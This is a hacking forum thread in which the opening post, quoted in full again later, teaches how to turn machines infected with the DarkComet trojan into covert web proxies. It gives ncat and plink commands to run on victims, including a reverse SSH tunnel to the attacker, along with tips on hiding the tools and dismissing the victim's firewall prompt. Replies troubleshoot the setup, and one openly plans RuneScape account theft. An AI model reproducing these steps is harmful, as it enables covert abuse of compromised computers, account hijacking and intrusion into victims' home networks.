

Forum:[Hack Forums](#)

Thread: [\[TuT\] Advanced Proxying to use DarkComet Slaves to surf the web using PLINK and NCAT](#)

granger - August 13, 2012, 7:43 pm

Disclaimer : This post is for educational purposes of learning network security.
I am not responsible what you do with this information.

How to use your slave's connection to browse the internet.

So you want to surf using a dark comet slave? Wait, there is an option in Dark Comet to turn the slave into a proxy!

Oh wait, it doesn't work? Why not?

Because your slave is most likely behind a router and you lack basic firewall understanding. Come sit children, and gRanger will show you the way.

What you will need:

An ssh server - best bet would be to install openssh server on your computer (SECURE THIS WITH A STRONG PASSWORD, IT'S EXPOSED TO THE INTERNET!!!!)

A port forward rule on port 22 to your ssh server on your router(if you left the ssh server listening on port 22)

A browser where you can use proxy settings - I recommend using foxyproxy w/ firefox

Plink - a command line version of putty for making an ssh connection. You can download this from the main putty page

ncat - a command line tcp/ip tool. (similar to netcat, but put out by nmap team) - look at nmap.org for this tool

a slave - duh

Because your slave is behind a router, he essentially has a poor man's firewall from the outside world. The whole reason you can see the slave online after ratting

is because the slave's computer is making an outbound connection to your ip which is then being forwarded to the computer on your network that you specified

when port forwarding. Open up a port on your router/firewall to point to the same machine and install openSSH server.

Find an inconspicuous spot to upload plink.exe and ncat.exe on the slave's machine. I recommend C:/users/[theuseryou'veratted]/appdata

On Dark Comet, open up the remote shell tab. This will give you a command prompt on the slave's machine. Navigate to the directory that ncat plink.exe is in.

Type in the following:

```
ncat.exe -lvk 8080 --proxy-type http --allow *.*.
```

You've officially started a proxy server on the slave's machine. BE WARNED when you do this they might get a firewall popup that asks them to keep blocking or unblock.

My recommendation is to use the remote desktop and watch the slave machine and click the "unblock" button quickly to remain stealthy.

Now you can't just use the proxy server yet because your slave is behind a router, and a direct connection is just going to get refused. Now comes the reverse SSH tunnel which will allow you to tunnel traffic through it.

Close the remote shell window in Dark Comet and reopen it, the ncat listener is still being run in the background on the slave's machine so don't worry.

```
plink.exe -R 3128:127.0.0.1:8080 [youripaddress] -l [yoursshlogin] -pw [yoursshpw]
```

It's going to ask you if u want to cache the server, yadda yadda..type N for no. Because you don't want to leave a footprint on the slave's machine. At this point you should be left with a shell to your ssh server, from the remote shell..(I know, it's confusing...shell in a shell..SHELLCEPTION!)

DAFUQ DID I JUST DO?

Let me break it down. You're making an ssh connection back to your ssh server from the slave. SSH is very useful for tunneling traffic mostly because you don't need to keep adding port forwarding rules to your router and the traffic is encrypted.

plink.exe - obviously this is executable you are running on the slave's machine
-R - this is the remote directive. When you make a connection, it will open up a port on the server and a port on the local machine
3128 this is the port on the ssh server you're opening up...
127.0.0.1 this is the address you're going to hit on the SLAVE'S Network once you tunnel traffic through port 3128 on YOUR network (hint...you could just change this if you were interested in hitting a machine on the same network as the slave..use your imagination)
8080 this is the port you're going to come out on @ 127.0.0.1

Now the last thing to do is setup the browser to use foxy proxy or another proxy tool to point at 127.0.0.1 on port 3128. This traffic will be piped through the attacker's port 3128 which is part of the ssh tunnel and send it to the local machine on the slave's end on port 8080, which is the ncat listener/proxy. Go to google in the browser and type in "what's my ip address" It should be your slave's wan address now, which would match up to what you have in the dark comet window.

Quick summary logic.

1. Install ssh server on attacking machine
2. Port forward port 22 on your router to the ssh server computer
3. Upload ncat and plink to slave in a discreet place
4. start ncat listener in remote shell window : ncat.exe -lvk 8080 --proxy-type http --allow *.*.*.*
5. close remote shell window and reopen, run plink.exe -R 3128:127.0.0.1:8080 [youripaddress] -l [yoursshlogin] -pw [yoursshpw]
6. setup attacking browser to proxy connection to 127.0.0.1 on port 3128.

Now use your imagination to what you can access from here? (hint hint slave's router maybe?)

Please show some love if this guide helped you. It was made with alot of experimentation and patience.

connoratch1223 - August 13, 2012, 8:24 pm

It says my DarkComet is a virus. rrr

Vile Soul - August 13, 2012, 8:24 pm

Bookmarked i will use this when i get a slave. thanks for the thread.

(Aug 13, 2012 08:24 PM)connoratch1223 Wrote: [\[CITE\]](#) It says my DarkComet is a virus. rrrthat is because it is a "hacking tool" just allow an exception.

jacksonbob10199 - August 13, 2012, 9:42 pm

alright seriously where do you learn how to do all of this?

MrBenny - August 13, 2012, 9:53 pm

Holy shit, great tut. Hq, well explained, and best of all, for something you can actually do!
Thanks OP!

tolich94 - August 14, 2012, 4:58 am

Thanks man...this tutorial looks cool...I hope it helps me :D

granger - August 14, 2012, 6:44 am

no problem, im going to upload pics for better understanding. I'm not a "skid" btw. I'm an IT security admin/web application pentester, so I deal with firewalls and Computer & network security all day.

Also, I will say this about Ncat. It is a poor man's proxy, and I have noticed some rendering issues, like with yahoo and certain other sites. I know there are other better proxy's that have silent installs and have less rendering issues, but the name of the game here is stealth and simplicity.

(Aug 13, 2012 09:42 PM)jacksonbob10199 Wrote: [\[CITE\]](#) alright seriously where do you learn how to do all of this?

Lot's of reading my friend. Lots and lots of reading and experimenting. This originally started as a ncat to ncat proxy, but there were some fundamental problems with sending and receiving stateless data, like http requests. I eventually did some reading and i use putty anyway to connect to my home computers through a single gateway linux server. I then realized there was a command line version of putty and i went from there.

You can see here from a previous post that i've been thinking about this for while but could not seem to find a good answer until i did it myself:

<https://hackforums.net/showthread.php?tid=2704169>

Bec0ol - August 14, 2012, 8:33 pm

thanks for this tutorial helps a bunch :) !!

granger - August 14, 2012, 8:50 pm

Here are some pics of ratting process and the proxy process in general that I promised

Before Ratting

Spoiler [\(Click to View\)](#)

Ratting process

Spoiler [\(Click to View\)](#)

Proxy process

Spoiler [\(Click to View\)](#)

ArtificialEden - August 15, 2012, 3:57 pm

this is just what i needed worked perfectly i had some problems with seeing missing dll files pop up

on the vic's machine but i fixed that with finding a standalone ncat.exe

hacker - August 16, 2012, 1:17 am

Great tut. And very well explained. Thanks mate

CC_AnoN - August 16, 2012, 11:05 am

hey dude thank you to share think I will see if it works :)

paseena - September 9, 2012, 6:47 am

everything is ok...but stuck on openssh part :(....can u please explain it in detail or any download link...coz one i downloaded is pretty messy :|

daniel06121 - September 14, 2012, 9:45 pm

this will come in handy for hacking runescape accounts now that jagex has implimented that new security system. Thank you very much man, you have saved the day for me and for many other fellow runescape hackers out there. Very HQ and I would +rep you if I could. :D

girlscanner - September 15, 2012, 3:39 am

Bookmarked i will use this when i get a slave. thanks for the thread

Methamphetamine - September 15, 2012, 2:16 pm

Damnnn you are a fucking genius. Well thought out and noob friendly!

soniya2141985 - October 15, 2012, 9:04 pm

UPLODE VIDEO OR IMANGE, PEOPLE LYK ME WHO DONT KNOW FULL ENGLISH, CANT UNDERSTAND.

SIM-290176 - October 16, 2012, 8:02 pm

Hey man, when I try to use the Plink.exe command, I get this error message:

Unable to open connection:
Host does not exist

lilalexq22 - October 18, 2012, 2:28 pm

Yea a video would be very much appreciated ?

xmattyx - October 21, 2012, 7:14 am

run plink.exe -R 3128:127.0.0.1:8080 [youripaddress] -l [yoursshlogin] -pw [yoursshpw]

Where can I find "yoursshlogin" and "yoursshpw"?

In putty I don't find it.

If I run only "plink.exe -R 3128:127.0.0.1:8080 [youripaddress]" without login and pass I receive:
"Unable to receive connection: Host does not exists".

Thanks in advance

Starfall - October 23, 2012, 11:32 pm

Very nice. Although I've never used a RAT in my life (they're lame, amirite?) I'd prefer to have some authentication on these so they don't get stolen or blacklisted.

The --proxy-auth option for NCat works to do this, though I don't know any specifics behind it.

EDIT: I may be wrong, since it's 3AM here and I only tested this briefly, but I think the syntax is like this:

Code ncat -l --proxy-type http 5050 --proxy-auth "username password"

autorunman22 - October 24, 2012, 12:01 am

dude whats the diffs from just using proxies just curious

Year?? - October 24, 2012, 12:02 am

(Aug 13, 2012 07:43 PM)granger Wrote: [\[CITE\]](#) Disclaimer : This post is for educational purposes of learning network security.

I am not responsible what you do with this information.

How to use your slave's connection to browse the internet.

So you want to surf using a dark comet slave? Wait, there is an option in Dark Comet to turn the slave into a proxy!

Oh wait, it doesn't work? Why not?

Because your slave is most likely behind a router and you lack basic firewall understanding. Come sit children, and gRanger will show you the way.

What you will need:

An ssh server - best bet would be to install openssh server on your computer (SECURE THIS WITH A STRONG PASSWORD, IT'S EXPOSED TO THE INTERNET!!!!)

A port forward rule on port 22 to your ssh server on your router(if you left the ssh server listening on port 22)

A browser where you can use proxy settings - I recommend using foxyproxy w/ firefox

Plink - a command line version of putty for making an ssh connection. You can download this from the main putty page

ncat - a command line tcp/ip tool. (similar to netcat, but put out by nmap team) - look at nmap.org for this tool

a slave - duh

Because your slave is behind a router, he essentially has a poor man's firewall from the outside world. The whole reason you can see the slave online after ratting

is because the slave's computer is making an outbound connection to your ip which is then being forwarded to the computer on your network that you specified

when port forwarding. Open up a port on your router/firewall to point to the same machine and install openSSH server.

Find an inconspicuous spot to upload plink.exe and ncat.exe on the slave's machine. I recommend C:/users/[theuseryou'veratted]/appdata

On Dark Comet, open up the remote shell tab. This will give you a command prompt on the slave's machine. Navigate to the directory that ncat plink.exe is in.

Type in the following:

```
ncat.exe -lvk 8080 --proxy-type http --allow *.*.*
```

You've officially started a proxy server on the slave's machine. BE WARNED when you do this they might get a firewall popup that asks them to keep blocking or unblock.

My recommendation is to use the remote desktop and watch the slave machine and click the "unblock" button quickly to remain stealthy.

Now you can't just use the proxy server yet because your slave is behind a router, and a direct

connection is just going to get refused. Now comes the reverse SSH tunnel which will allow you to tunnel traffic through it.

Close the remote shell window in Dark Comet and reopen it, the ncat listener is still being run in the background on the slave's machine so don't worry.

```
plink.exe -R 3128:127.0.0.1:8080 [youripaddress] -l [yoursshlogin] -pw [yoursshpw]
```

It's going to ask you if u want to cache the server, yadda yadda..type N for no. Because you don't want to leave a footprint on the slave's machine. At this point you should be left with a shell to your ssh server, from the remote shell..(I know, it's confusing...shell in a shell..SHELLCEPTION!)

DAFUQ DID I JUST DO?

Let me break it down. You're making an ssh connection back to your ssh server from the slave. SSH is very useful for tunneling traffic mostly because you don't need to keep adding port forwarding rules to your router and the traffic is encrypted.

plink.exe - obviously this is executable you are running on the slave's machine
-R - this is the remote directive. When you make a connection, it will open up a port on the server and a port on the local machine
3128 this is the port on the ssh server you're opening up...
</br>127.0.0.1 this is the address you're going to hit on the SLAVE'S Network once you tunnel traffic through port 3128 on YOUR network (hint...you could just change this if you were interested in hitting a machine on the same network as the slave..use your imagination)
8080 this is the port you're going to come out on @ 127.0.0.1

Now the last thing to do is setup the browser to use foxy proxy or another proxy tool to point at 127.0.0.1 on port 3128. This traffic will be piped through the attacker's port 3128 which is part of the ssh tunnel and send it to the local machine on the slave's end on port 8080, which is the ncat listener/proxy. Go to google in the browser and type in "what's my ip address" It should be your slave's wan address now, which would match up to what you have in the dark comet window.

Quick summary logic.

1. Install ssh server on attacking machine
2. Port forward port 22 on your router to the ssh server computer
3. Upload ncat and plink to slave in a discreet place
4. start ncat listener in remote shell window : ncat.exe -lvk 8080 --proxy-type http --allow *.*.*.*
5. close remote shell window and reopen, run plink.exe -R 3128:127.0.0.1:8080 [youripaddress] -l [yoursshlogin] -pw [yoursshpw]
6. setup attacking browser to proxy connection to 127.0.0.1 on port 3128.

Now use your imagination to what you can access from here? (hint hint slave's router maybe?)

Please show some love if this guide helped you. It was made with alot of experimentation and patience.

You sir, will be a great help to HF. Thank you for the tutorial ;D

x2n4 - October 26, 2012, 8:49 am

very nice tutorial..thanks for sharing...

GoldFinger - October 27, 2012, 3:59 pm

Nice tutorial, but could you please PM me since i ran into a little problem :) Thanks!

granger - November 12, 2012, 6:44 am

I will be updating this guide soon with a better alternative. As I found out with a little testing from another member, windows implementations of SSH server do not work the best due to some traffic flow errors. I've actually found a better solution, I'm just working on a method of making it easier/more automated to deploy. Essentially instead of trying to use SSH tunnels, I've found a better way to just create a vpn server on the slave's box and then tunnel ALL traffic through it.

Quote:autorunman22-dude whats the diffs from just using proxies just curious

Sometimes to access information or login accounts for things....maybe runescape, etc. you need to be able to appear as if you're coming from their IP.

Plus you can log into their router at this point if they have an unsecure password (I mean they fell for being trojaned, amirite?)

Quote:Very nice. Although I've never used a RAT in my life (they're lame, amirite?) I'd prefer to have some authentication on these so they don't get stolen or blacklisted.

The --proxy-auth option for NCat works to do this, though I don't know any specifics behind it.

EDIT: I may be wrong, since it's 3AM here and I only tested this briefly, but I think the syntax is like this:

You're right, you could do this, but here is my "Does it really matter" moment. You're opening a proxy server on their computer. But because there is no port forward rule on their router, you can't hit that port directly from the outside. Now if they are directly connected to a cable modem without a router/other firewall device, then yes you'd want to put some authentication on it, but then at that point you wouldn't quite need to follow this guide because you can hit every port on that computer from the outside.

Vet0 - November 18, 2012, 7:39 am

I can't wait to read your better alternative on the matter.
Regards

Vet0 - November 19, 2012, 12:49 pm

Would you mind setting it up with some images?
That would be nice.

Thanks for the tutorial.

Gemini - November 19, 2012, 9:36 pm

awesome awesome awesome....
great and hq tutorial...
mate just keep coming with more threads like this one....
i really hope i could have given u +1 rep which normals cant :(
bookmarking this thread...
thanks again...

jgkilian777 - December 13, 2012, 12:00 pm

(Oct 21, 2012 07:14 AM)xmattyx Wrote: [\[CITE\]](#) run plink.exe -R 3128:127.0.0.1:8080 [youripaddress]
-l [yoursshlogin] -pw [yoursshpw]

Where can I find "yoursshlogin" and "yoursshpw"?

In putty I don't find it.

If I run only "plink.exe -R 3128:127.0.0.1:8080 [youripaddress]" without login and pass I receive:
"Unable to receive connection: Host does not exists".

Thanks in advance

im wondering this too please help guys :(i get: FATAL ERROR: Network error: Connection timed out

jgkilian777 - December 16, 2012, 10:41 am

ncat.exe -lvk 8080 --proxy-type http --allow *.*.*.

in the '*.*.*.*' part do i put my ip or do i leave it like that? Also does it have to be 8080 or can it be any open port on his computer? thanks

TheFinalBlood - January 1, 2013, 7:35 pm

Hey anybody out there might help me.

Everything works except the last step.

Problem >>> When I'm using the Proxy Settings 127.0.0.1 3128 in FoxyProxy for Firefox, I'm not able to reach any website :O ???

ryan0788 - January 29, 2013, 7:38 pm

This is awesome! At first I had trouble with getting the slave to connect (Connection timeout), but I found that it was my windows firewall blocking the program. (Just if anyone else is having the same problem.) Thanks for this tutorial! :D

teonanacalt - January 29, 2013, 8:32 pm

Great tutorial and very helpful/useful.

Really appreciate with your contribution.

Fixx - January 29, 2013, 11:46 pm

Thanks for the tutorial on proxies but i just got blackshades rat instead darkcomet. But over great tutorial.

\$ XTC \$ - February 3, 2013, 11:19 am

Nice tutorial! Gonna bookmark it now! Will test it tomorrow with some slaves.

Keep it up, this nice work!

majorhak - February 5, 2013, 4:19 pm

(Aug 15, 2012 03:57 PM)ArtificialEden Wrote: [\[CITE\]](#) this is just what i needed worked perfectly i had some problems with seeing missing dll files pop up on the vic's machine but i fixed that with finding a standalone ncat.exe

care to share where you found the standalone ncat.exe? thanks

mphilil - February 8, 2013, 2:50 am

(Feb 5, 2013 05:19 PM)majorhak Wrote: [\[CITE\]](#) care to share where you found the standalone ncat.exe? thanks

Here : <http://nmap.org/dist/ncat-portable-5.59BETA1.zip>

Source : <http://nmap.org/ncat/>

It's working really good, but I just have one little problem with HEADERS and maybe granger you can help me because i'm currently lost. When I check with an advanced proxy detection website like <http://whoer.net/ext> my proxies are detected because of HTTP HEADERS and due to this I can't

access some websites. I have a red line "HTTP_PROXY_CONNECTION keep-alive".

Do you have an idea ? Thanks!

Klarion - February 10, 2013, 1:10 am

can someone please help me set this up? through team viewer maybe?

Lakllak - February 12, 2013, 7:43 am

I want this really please can i have this?

yesname - February 17, 2013, 7:31 am

What about non default SSH port? Other than 22.

(This method is not working for me. Everything is good until I set 3128 in FoxyProxy, then I can not access any pages.)

eXtremeXRZY - March 9, 2013, 6:33 am

Guys, I'm using OpenSSH for windows 7 do this..

And I have one problem, how can I see/set my password?

I managed to start SSH server, and when trying to connect with it via PuTTY for example, I don't know what to input as a pass, because I can't remember typing one..

Other than that, great tutorial! ?

Actually, managed to do all of that, and after I change proxy on firefox to use that, 127.0.0.1:3128

This is what I get in my SSH cmd window, and any page won't open :/

[img]http://img94.imageshack.us/img94/8282/erroray.png[/img]

Any help? :/

granger - March 13, 2013, 9:31 pm

I would suggest ditching openssh and going with bitvise, it's much more stable. Search for my newer post on proxying

<https://hackforums.net/showthread.php?tid=3239841>

Sandikaaa - March 31, 2013, 4:55 am

Very nice tutorial thanks :) 35characters

procortex - March 31, 2013, 7:26 pm

very impressive mate! thanks for sharing!